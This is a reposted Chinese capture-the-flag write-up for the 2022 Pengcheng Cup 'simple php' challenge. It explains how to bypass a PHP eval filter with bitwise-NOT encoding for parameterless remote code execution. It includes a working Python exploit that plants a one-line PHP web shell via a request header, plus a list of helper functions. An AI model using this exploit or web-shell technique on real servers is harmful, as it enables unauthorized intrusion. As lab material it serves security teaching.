您的位置:首页 > 游戏 > 游戏 > [鹏城杯 2022]简单的php

[鹏城杯 2022]简单的php

2024/10/6 12:20:52 来源:https://blog.csdn.net/liaochonxiang/article/details/141371741  浏览:    关键词:[鹏城杯 2022]简单的php

题目源代码

<?phpshow_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);}?>  

无参RCE
第一个过滤:取反绕过
第二个过滤:二维数组绕过

构造phpinfo();

<?php
$s="phpinfo";
echo '~'.urlencode(~$s);
//~%8F%97%8F%96%91%99%90
这里我们需要通过[] 来执行[~%8f%97%8f%96%91%99%90] 这里是 [phpinfo][] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西[~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo[!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo然后补上括号即可
[~%8f%97%8f%96%91%99%90][!%FF]();

image.png
没有过滤任何函数,可以写一句话木马

EXP

import requestscommand = "system(end(getallheaders()))"
##异或取反脚本
codes = command.replace(")", "").split("(")[:-1][::-1]
res = ""
inline = ""
for code in codes:re_code = "~" + "".join(["%" + hex(255 - ord(i))[2:] for i in code])res = f"[{re_code}][!%ff]({inline})"inline = res
url = f"http://node7.anna.nssctf.cn:27413/?code={res};"
flag = requests.get(url, headers={'cmd': 'echo "<?php @eval(\$_POST[1]);?>">1.php'})
print(flag.text)

用蚁剑连接获得flag

配套函数

主要函数
1getallheaders()
2get_defined_vars()
3session_id()
辅助函数
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(7.1之后可以不给予参数)localeconv() 函数返回一包含本地数字及货币格式信息的数组。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com